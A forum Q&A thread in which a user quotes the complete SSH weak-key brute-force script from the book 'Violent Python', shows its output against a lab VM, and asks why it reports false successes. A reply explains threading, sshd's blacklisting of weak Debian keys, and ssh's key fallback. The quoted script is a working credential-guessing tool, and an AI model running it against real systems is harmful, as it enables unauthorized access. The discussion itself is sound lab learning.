Reputation: 871
So I am reading this awesome book, "Violent Python". And in Chapter 2 there is a Python script that uses private keys to authenticate to a Debian machine or possibly any machine running an SSH server that has users on it without strong private keys. Below is the script:
#! /usr/bin/env python
import pexpect
import optparse
import os
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Stop = False
Fails = 0
def connect(user, host, keyfile, release):
global Stop
global Fails
try:
perm_denied = 'Permission denied'
ssh_newkey = 'Are you sure you want to continue'
conn_closed = 'Connection closed by remote host'
opt = ' -o PasswordAuthentication=no'
connStr = 'ssh ' + user + \
'@' + host + ' -i ' + keyfile + opt
child = pexpect.spawn(connStr)
ret = child.expect([pexpect.TIMEOUT, perm_denied, \
ssh_newkey, conn_closed, '$', '#',])
if ret == 2:
print '[-] Adding Host to ~/.ssh/known_hosts'
child.sendline('yes')
connect(user, host, keyfile, False)
elif ret == 3:
print '[-] Connection Closed By Remote Host'
Fails += 1
elif ret > 3:
print '[+] Success. ' + str(keyfile)
Stop = True
finally:
if release:
connection_lock.release()
def main():
parser = optparse.OptionParser('usage%prog -H ' + \
'<target host> -u <user> -d <directory>')
parser.add_option('-H', dest='tgtHost', type='string', \
help='specify target host')
parser.add_option('-d', dest='passDir', type='string', \
help='specify directory with keys')
parser.add_option('-u', dest='user', type='string', \
help='specify the user')
(options, args) = parser.parse_args()
host = options.tgtHost
passDir = options.passDir
user = options.user
if host == None or passDir == None or user == None:
print parser.usage
exit(0)
for filename in os.listdir(passDir):
if Stop:
print '[*] Exiting: Key Found.'
exit(0)
if Fails > 5:
print '[!] Exiting: '+ \
'Too Many Connections Closed By Remote Host.'
print '[!] Adjust number of simultaneous threads.'
exit(0)
connection_lock.acquire()
fullpath = os.path.join(passDir, filename)
print '[-] Testing keyfile ' + str(fullpath)
t = Thread(target=connect, \
args=(user, host, fullpath, True))
child = t.start()
if __name__ == '__main__':
main()
The weird thing is when I run this on my internal LAN against a copy of Kali, that is based on Debian, the Python script prints that it has found some vulnerable private keys. I am not sure why it finds several vulnerable keys though for a single user on the OS. When I run the script I specify 1) a host, 2) a username, and 3) a directory full of private keys generated by HD Moore. I had to use the wayback machine to obtain the RSA private keys he generated for the 2048 strength asymmetric algorithm.
Example output:
[-] Testing keyfile rsa/2048/0002d5af29276c95a49dc2ab3b506707-23747
[-] Testing keyfile rsa/2048/00030d8fbf8ef4e6c7c878e5a3700192-29213
[+] Success. rsa/2048/.DS_Store
[+] Success. rsa/2048/0002d5af29276c95a49dc2ab3b506707-23747
[-] Testing keyfile rsa/2048/0004c120c8d0b5820c5d84d35e3c8d19-20980
[*] Exiting: Key Found.
[+] Success. rsa/2048/0004c120c8d0b5820c5d84d35e3c8d19-20980
[+] Success. rsa/2048/00030d8fbf8ef4e6c7c878e5a3700192-29213
Anyways, why does the script say it found numerous private keys for my username on my Debian Kali virtual machine (VM)? I tried to log in with the apparently vulnerable private key with the ssh -irsa/2048/0002d5af29276c95a49dc2ab3b506707-23747 [email protected] -o PasswordAuthentication=no
command but it did not work. Why does it not work? Is the Python script not actually doing what it says it is doing? X-Ray Glasses anyone? Let me go on...
Then I checked the /var/log/auth.log
on my Debian Kali VM and it has some interesting and mysterious entries. The log says, Public key <Hexadecimal colon separated key> from <IP> blacklisted (see ssh-vulnkey(1))
I read the man page for the ssh-vulnkey
on the Debian Kali OS and found out that this program could find vulnerable keys on a computer. I tried running this with the -v verbose
option and saw that some keys are apparently vulnerable, though I do not understand what the f key is going on.
Does anyone have an easy to understand explanation about 1) why the script returns results that it successfully found a key(s) and 2) what the blacklisted auth.log
message means? Also, 3) if it found a vulnerable key why can I not use said key to log into my computer?
Also, should this be moved to information-security
?
Wicked Python script by:
O'Connor, TJ (2012-12-28). Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers. Elsevier Science. Kindle Edition.
Upvotes: 0
Views: 371
Reputation: 1327
As far as I can tell the script just iterates through the directory and tries to use them as keys to connect to the given SSH server. This is done in threads, so the order of your output is not deterministic. Since we check if the global Stop
flag is True
before starting new threads it may happen that not all files are checked because one earlier thread already finished successfully and set the flag. This is why it reports that it found a key.
Your SSH daemon blacklists weak keys that were generated by a broken version of OpenSSL. This is a good thing and you can read about it here. That is also why you can't login.
ssh
automatically falls back to looking for valid keys in your configuration directory. So the connection does actually succeed, but your command line argument is ignored. Try running the command with -vvv
and observe the output:
$ ssh user@host -i not-a-key -o PasswordAuthentication=no -vvv
[...]
debug1: identity file /path/to/not-a-key type -1
[...]
Upvotes: 1